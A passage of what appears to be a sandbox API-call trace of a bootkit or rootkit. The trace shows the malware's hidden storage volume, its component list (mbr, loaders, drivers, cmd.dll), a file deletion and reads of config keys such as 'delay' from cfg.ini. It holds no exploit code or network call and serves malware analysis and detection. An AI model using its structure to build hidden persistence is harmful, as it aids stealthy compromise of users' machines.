AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.181] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.181] IdePortDispatch () returned 0x103 [0120.181] KeWaitForMutexObject () returned 0x0 [0120.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.181] KeLeaveCriticalRegion () [0120.181] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.182] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.182] KeEnterCriticalRegion () [0120.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] KeLeaveCriticalRegion () [0120.182] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.182] KeEnterCriticalRegion () [0120.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] KeLeaveCriticalRegion () [0120.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.182] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.182] KeEnterCriticalRegion () [0120.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] KeLeaveCriticalRegion () [0120.182] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.182] ReleaseMutex (hMutex=0xf0) returned 1 [0120.182] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.182] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.182] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.182] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.182] KeEnterCriticalRegion () [0120.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.182] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.182] IdePortDispatch () returned 0x103 [0120.182] KeWaitForMutexObject () returned 0x0 [0120.183] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.183] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.183] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.183] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.183] KeLeaveCriticalRegion () [0120.183] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.183] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.183] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.183] KeEnterCriticalRegion () [0120.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.183] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.183] IdePortDispatch () returned 0x103 [0120.183] KeWaitForMutexObject () returned 0x0 [0120.183] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.183] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.183] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.183] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.183] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.183] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.183] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.184] KeLeaveCriticalRegion () [0120.184] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.184] ReleaseMutex (hMutex=0x100) returned 1 [0120.184] Sleep (dwMilliseconds=0x2bf20) [0120.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ad6da30, dwHighDateTime=0x1d24fa4)) [0120.190] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.190] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.190] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.190] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.190] KeEnterCriticalRegion () [0120.190] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.190] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.190] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.191] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.191] IdePortDispatch () returned 0x103 [0120.191] KeWaitForMutexObject () returned 0x0 [0120.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.191] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.191] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.191] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.191] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.191] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80033552e0 [0120.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.191] KeLeaveCriticalRegion () [0120.191] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.191] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.191] KeEnterCriticalRegion () [0120.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.191] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.191] KeLeaveCriticalRegion () [0120.191] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.191] KeEnterCriticalRegion () [0120.191] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.191] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.191] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.191] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.191] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.191] IdePortDispatch () returned 0x103 [0120.191] KeWaitForMutexObject () returned 0x0 [0120.191] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.191] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.191] KeLeaveCriticalRegion () [0120.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.192] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.192] KeEnterCriticalRegion () [0120.192] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003410000 [0120.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.192] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.192] IdePortDispatch () returned 0x103 [0120.192] KeWaitForMutexObject () returned 0x0 [0120.192] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.192] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.192] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.192] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.192] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.192] IdePortDispatch () returned 0x103 [0120.192] KeWaitForMutexObject () returned 0x0 [0120.192] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.192] KeLeaveCriticalRegion () [0120.192] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.193] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.193] KeEnterCriticalRegion () [0120.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] KeLeaveCriticalRegion () [0120.193] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.193] KeEnterCriticalRegion () [0120.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.193] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbce10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] KeLeaveCriticalRegion () [0120.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.193] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.193] KeEnterCriticalRegion () [0120.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] ExFreePoolWithTag (P=0xfffffa80033552e0, Tag=0x0) [0120.193] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] KeLeaveCriticalRegion () [0120.193] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.193] ReleaseMutex (hMutex=0xf0) returned 1 [0120.193] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.193] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.193] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.193] KeEnterCriticalRegion () [0120.193] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.193] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.193] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.193] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.193] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.193] IdePortDispatch () returned 0x103 [0120.193] KeWaitForMutexObject () returned 0x0 [0120.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.194] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.194] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.194] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.194] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.194] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2e30 [0120.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] KeLeaveCriticalRegion () [0120.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.194] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.194] KeEnterCriticalRegion () [0120.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] KeLeaveCriticalRegion () [0120.194] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.194] KeEnterCriticalRegion () [0120.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.194] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.194] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.194] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.194] IdePortDispatch () returned 0x103 [0120.194] KeWaitForMutexObject () returned 0x0 [0120.194] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.194] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] KeLeaveCriticalRegion () [0120.194] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.194] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.194] KeEnterCriticalRegion () [0120.194] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.194] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003411000 [0120.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.195] IdePortDispatch () returned 0x103 [0120.195] KeWaitForMutexObject () returned 0x0 [0120.195] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.195] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.195] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.195] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.195] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.195] IdePortDispatch () returned 0x103 [0120.195] KeWaitForMutexObject () returned 0x0 [0120.195] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.195] KeLeaveCriticalRegion () [0120.195] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.196] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.196] KeEnterCriticalRegion () [0120.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] KeLeaveCriticalRegion () [0120.196] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.196] KeEnterCriticalRegion () [0120.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.196] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] KeLeaveCriticalRegion () [0120.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.196] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.196] KeEnterCriticalRegion () [0120.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.196] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] KeLeaveCriticalRegion () [0120.196] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.196] ReleaseMutex (hMutex=0xf0) returned 1 [0120.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.196] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.196] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.196] KeEnterCriticalRegion () [0120.196] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.196] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.196] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.196] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.196] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.196] IdePortDispatch () returned 0x103 [0120.196] KeWaitForMutexObject () returned 0x0 [0120.196] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.196] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.196] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.196] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd8c0 [0120.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] KeLeaveCriticalRegion () [0120.197] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.197] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.197] KeEnterCriticalRegion () [0120.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.197] FsRtlProcessFileLock 